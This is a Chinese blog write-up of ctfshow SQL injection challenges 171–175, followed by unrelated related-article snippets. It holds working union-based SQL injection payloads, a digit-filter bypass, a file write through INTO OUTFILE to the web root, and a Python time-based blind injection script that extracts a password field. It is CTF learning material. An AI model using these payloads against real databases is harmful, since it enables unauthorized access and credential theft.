ctfhow——web入门171~175

sql简介

web入门171

——判断注入点:

-1' union select 1,2,3 --+

其实在这之前可以先判断多少列,即 -1‘ group(order) by 3 --+

group by用于将具有相同值的行分组成一个汇总行,可以查看是否报错确定列数

2,3列都有回显

——查询库名:

-1'union select 1,database(),3 --+

——查询表名:

1' union select 1,6,group_concat(table_name) from information_schema.tables where table_schema=database() --+(这里把查询位放在第二位查不出来)

GROUP_CONCAT 是 MySQL 中的一个聚合函数,它用于将属于同一组的字符串连接起来,形成一个单一的字符串

table_name就是表名

information_schema.tables 是 MySQL 数据库系统中的一个系统视图,属于 information_schema 数据库。这个数据库提供了对数据库元数据(即关于数据库的数据,如表、列、索引等的信息)的访问。tables 表(或视图)具体包含了当前用户可访问的所有数据库中的表的相关信息

phpstudy中mysql界面:

table_schema:就是库名

——查询列名:

1' union select 1,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+

column_name:列名

——查询password:

-1' union select 1,6,group_concat(password) from ctfshow_user --+

发现flag

web入门172

这里有两个表,那我就先看第二个

首先1' order by 2 --+判断出有两位

找回显位:

库名:

表名:

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+

有两个表

列名:-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+

两个都是这个

flag:

-1' union select 1,group_concat(password) from ctfshow_user2--+

web入门173

老样子,确定字段数

查回显

库:

表:-1' union select 4,5,group_concat(table_name) from information_schema.tables where table_schema=database() --+

列:

password:-1' union select group_concat(password) from ctfshow_user3--+

看了其他师傅的,发现这题是过滤了flag

即如果:-1' union select id,username,password from ctfshow_user3 where username='flag' -- +的话

无数据,所以我们直接:-1' union select 4,5,password from ctfshow_user3 where username='flag' -- +

web入门174

注:查看url的时候发现是3.php,其实是4.php,手动切换

这题使过滤了数字和flag

库名还是ctfshow_web

然后要查的话因该就有数字了,我们把数字做替换

因为flag的范围刚好是1~f,即16进制的范围,那我们就可以把1~0替换成A~J

查表名:

原:0' union select group_concat(table_name),database() from information_schema.tables where table_schema=database()--+

后:0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),database() from information_schema.tables where table_schema=database()--+

表为ctfshow——user4

查查列名呢

password:

0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(password),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),database() from ctfshow_user4--+

然后替换就好了

tihuan = {'A': '1','B': '2','C': '3','D': '4','E': '5','F': '6','G': '7','H': '8','I': '9','J': '0'}text ="ctfshow{eFEcbfGC-GfGA-DcfA-bICa-DFBDaJCbFeDH}"for i in text:if i in tihuan:print(tihuan[i],end='')else:print(i,end='')

web入门175

这题没看到回显位

试试时间盲注

经过测试发现:确实可以这么干

两种思路吧,

第一个:

是ngnix,在Liunx中/var/www/html是网站的默认文件位置,尝试直接写入文件

1' union select 1,database() into outfile'/var/www/html/1.txt'--+

访问1.txt

发现ok,那根据前几题的规律

1' union select 1,password from ctfshow_user5 where username='flag'into outfile'/var/www/html/2.txt'--+

或者我们可以利用时间盲注:

在1' and sleep(3)--+时

注意到出现

所以脚本上的url要写/api/v5.php,不能写原来网站的那个

(最好还要加上?page=1&limilt=10,不过没加也能出来)

脚本:

import requests
import stringurl = 'http://74760dc9-88e6-40f9-8a05-1319d3b9e33a.challenge.ctf.show/api/v5.php'
dic = string.ascii_lowercase + string.digits + '_-{}'#匹配的字典
out = ''
for j in range(1, 100):a = 1 #设置一个标志位,用来判断是否已经猜到了最后一位for k in dic:# payload = f"id=1' and if(substr(database(),{j},1)='{k}',sleep(3),0) --+&" # 猜数据库名# payload = f"id=1' and if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0) --+" #猜表名# payload = f"id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0) --+" #猜表名# payload = f"id=1' and if(substr((select column_name from information_schema.columns where table_schema='ctfshow_web'and table_name='ctfshow_user5' limit 2, 1), {j}, 1) = '{k}',sleep(3),0) --+"  # 猜列名payload = f"id=1' and if(substr((select password from ctfshow_web.ctfshow_user5 where username='flag'), {j}, 1) = '{k}',sleep(3),0) --+"  # 猜flag#substr(string, start_position, length)#第二个参数为起始位置,第三个参数为长度#如果匹配成功,就sleep(3)# print(payload)re = requests.get(url, params=payload)time = re.elapsed.total_seconds()# print(f"{j}:{time}")if time > 2:print(k,end='')a = 0 #如果找到字符,则将标志位置0out += kbreak #继续遍历下一位if a == 1: #在进行下一次循环前,先判断当前字符是否找到break #若没有找到,则跳出外层循环,表示我们已经到了最后一个字符
print(out)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/42052.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vue遗漏的知识点(动态组件.组件库的操作使用)

----动态组件&#xff08;vue2vue3通用&#xff09; <component :is"..."> 的作用 <component> 是 Vue 的内置组件&#xff0c;用于动态渲染其他组件。:is 属性 用于指定要渲染的组件。它的值可以是&#xff1a; 组件的名称&#xff08;字符串&#xf…

ip改变导致的数据库连接不上

前言 需要用到路由器&#xff0c;所以先把家里的路由器给拆了先用着。新的路由器到了之后&#xff0c;更换上新的路由器之后&#xff0c;调用到服务会有报错&#xff0c;记录一下更换路由器之后ip重新分配服务可能会报的错. 进一步可以看到有关网路在服务当中的影响。 正文 …

DeepSeek面试——模型架构和主要创新点

本文将介绍DeepSeek的模型架构多头潜在注意力&#xff08;MLA&#xff09;技术&#xff0c;混合专家&#xff08;MoE&#xff09;架构&#xff0c; 无辅助损失负载均衡技术&#xff0c;多Token 预测&#xff08;MTP&#xff09;策略。 一、模型架构 DeepSeek-R1的基本架构沿用…

基于HTML5的3D魔方项目开发实践

基于HTML5的3D魔方项目开发实践 这里写目录标题 基于HTML5的3D魔方项目开发实践项目概述核心技术实现1. 3D效果实现CSS3 3D变换魔方结构设计 2. 交互控制实现动画控制键盘控制触摸控制 技术难点与解决方案1. 3D变换控制2. 触摸体验优化3. 动画性能优化 项目收获总结项目展望 项…

23种设计模式-原型(Prototype)设计模式

原型设计模式 &#x1f6a9;什么是原型设计模式&#xff1f;&#x1f6a9;原型设计模式的特点&#x1f6a9;原型设计模式的结构&#x1f6a9;原型设计模式的优缺点&#x1f6a9;原型设计模式的Java实现&#x1f6a9;代码总结&#x1f6a9;总结 &#x1f6a9;什么是原型设计模式…

【MATLAB例程】交互式多模型(IMM),模型使用:CV,CT左转、CT右转,二维平面,三个模型的IMM,滤波使用EKF。订阅专栏后可查看代码

简单的介绍:本文所述的代码实现了一种基于交互多模型(IMM)算法的目标跟踪仿真,适用于复杂运动目标(如匀速、转弯运动)的状态估计。代码通过三个运动模型(匀速CV、左转弯CT1、右转弯CT2)的协同滤波,动态调整模型概率,最终输出综合跟踪结果。代码包含完整的仿真数据生成…

搭建私人对外git空间

# 创建用户&#xff0c;指定不可登录的 Shell&#xff08;git-shell 或 /usr/sbin/nologin&#xff09; sudo adduser --system --shell /usr/bin/git-shell --group git # 验证用户配置 grep git /etc/passwd # 预期输出&#xff1a;git:x:998:998::/home/git:/usr/bin/git-s…

PHP中yield关键字的使用

PHP版本>5.5 原理&#xff1a;yield关键字会生成一个Generator类的对象&#xff0c;PHP通过Generator实例计算出下一次迭代的值&#xff0c;再次返回一个Generator对象并停止循环&#xff08;即循环一次执行一次&#xff09;。 理解&#xff1a;使用在for/foreach/while循…

Vue3 实战:基于 mxGraph 与 WebSocket 的动态流程图构建

本文将详细介绍如何在 Vue3 项目中集成 mxGraph 可视化库&#xff0c;并通过 WebSocket 实现画布元素的实时更新。适合有 Vue 基础的前端开发者学习参考。 一、技术栈准备 Vue3&#xff1a;采用 Composition API 开发mxGraph&#xff1a;JavaScript 流程图库&#xff08;版本 …

Linux目录及文件管理

目录 一.Linux目录基本结构 1.常见目录及其作用 二.常用文件处理命令 1.七类常见的linux的文件 2.cat&#xff08;查看文件内容&#xff09; 3.more(分页查看文件内容&#xff09; 4.less(分页查看文件内容&#xff09; 5.head&#xff08;从头部查看文件内容&#xff0…

电机控制常见面试问题(二十)

文章目录 一.整流电路绕组接法二.电机为什么需要转速器三.电机转矩产生原理四.电机控制中载波频率大小的确定五.开关周期 Tpwm 一.整流电路绕组接法 为了引出直流的输出&#xff0c;一定要在整流变压器的二次侧引出零线&#xff0c;所以二次侧绕组必须接成星形 一次绕组必须要…

arm之s3c2440的I2C的用法

基础概念 IC&#xff08;Inter-Integrated Circuit&#xff09;又称I2C&#xff0c;是是IICBus简称&#xff0c;所以中文应该叫集成电路总线。 IIC的总线的使用场景&#xff0c;所有挂载在IIC总线上的设备都有两根信号线&#xff0c;一根是数据线SDA&#xff0c;另一 根是时钟…

MyBatis-Plus(Ⅲ)IService详解

目录 一、逐一演示 1.save&#xff08;插入一条&#xff09; 结果 断言&#xff08;引入概念&#xff09; 2.saveBatch&#xff08;批量插入&#xff09; 结果 3.saveOrUpdateBatch&#xff08;批量插入&更新&#xff09; 结果 4.removeById&#xff08;通过id删除…

可视化图解算法:删除有序(排序)链表中重复的元素-II

1. 题目 描述 给出一个升序排序的链表&#xff0c;删除链表中的所有重复出现的元素&#xff0c;只保留原链表中只出现一次的元素。 例如&#xff1a; 给出的链表为1→2→3→3→4→4→5, 返回1→2→5. 给出的链表为1→1→1→2→3 返回2→3. 数据范围&#xff1a;链表长度 0≤…

23种设计模式-中介者(Mediator)设计模式

中介者设计模式 &#x1f6a9;什么是中介者设计模式&#xff1f;&#x1f6a9;中介者设计模式的特点&#x1f6a9;中介者设计模式的结构&#x1f6a9;中介者设计模式的优缺点&#x1f6a9;中介者设计模式的Java实现&#x1f6a9;代码总结&#x1f6a9;总结 &#x1f6a9;什么是…

基于云服务器的数仓搭建-hive/spark安装

mysql本地安装 安装流程&#xff08;内存占用200M&#xff0c;升至2.1G&#xff09; # 将资料里mysql文件夹及里面所有内容上传到/opt/software/mysql目录下 mkdir /opt/software/mysql cd /opt/software/mysql/ # 待上传文件 install_mysql.sh mysql-community-client-8.0.3…

华为配置篇-ISIS基础实验

ISIS 一、简述二、常用命令总结三、实验 一、简述 一、基本定义与历史背景 IS-IS&#xff08;Intermediate System to Intermediate System&#xff0c;中间系统到中间系统&#xff09;是一种链路状态路由协议&#xff0c;最初由ISO设计用于OSI&#xff08;开放系统互联&#…

Python 练习项目:MBTI 命令行测试工具

在当今数字化的时代,心理测试工具越来越受到欢迎,它们帮助人们更好地了解自己,做出更明智的职业选择,甚至改善人际关系。MBTI(迈尔斯-布里格斯性格分类法)是其中一种广为人知的人格测试,通过评估个人在四个维度上的偏好(外向-内向、实感-直觉、理智-情感、判断-理解),…

github使用

登录github&#xff0c;创建仓库&#xff08;repository&#xff09; 如创建一个ADXL345名字的私有仓库 git下载安装 打开git&#xff1a;鼠标右键&#xff0c;选择“Open Git Bash here”&#xff0c;进入 ⭐Git 和 GitHub 绑定 Git 获取SSH keys $ cd ~/.ssh #查看 …

如何在Windows上下载并配置GO语言环境变量

本章教程,主要介绍如何在Windows操作系统上,下载并配置GO语言环境变量。 Go(又称为Golang)是一种开源的编程语言,由Google开发,于2009年首次公开发布。它旨在提供简洁、高效、可靠的软件开发解决方案。Golang是一种静态强类型、编译型语言,Golang具有很强的表达能力,得…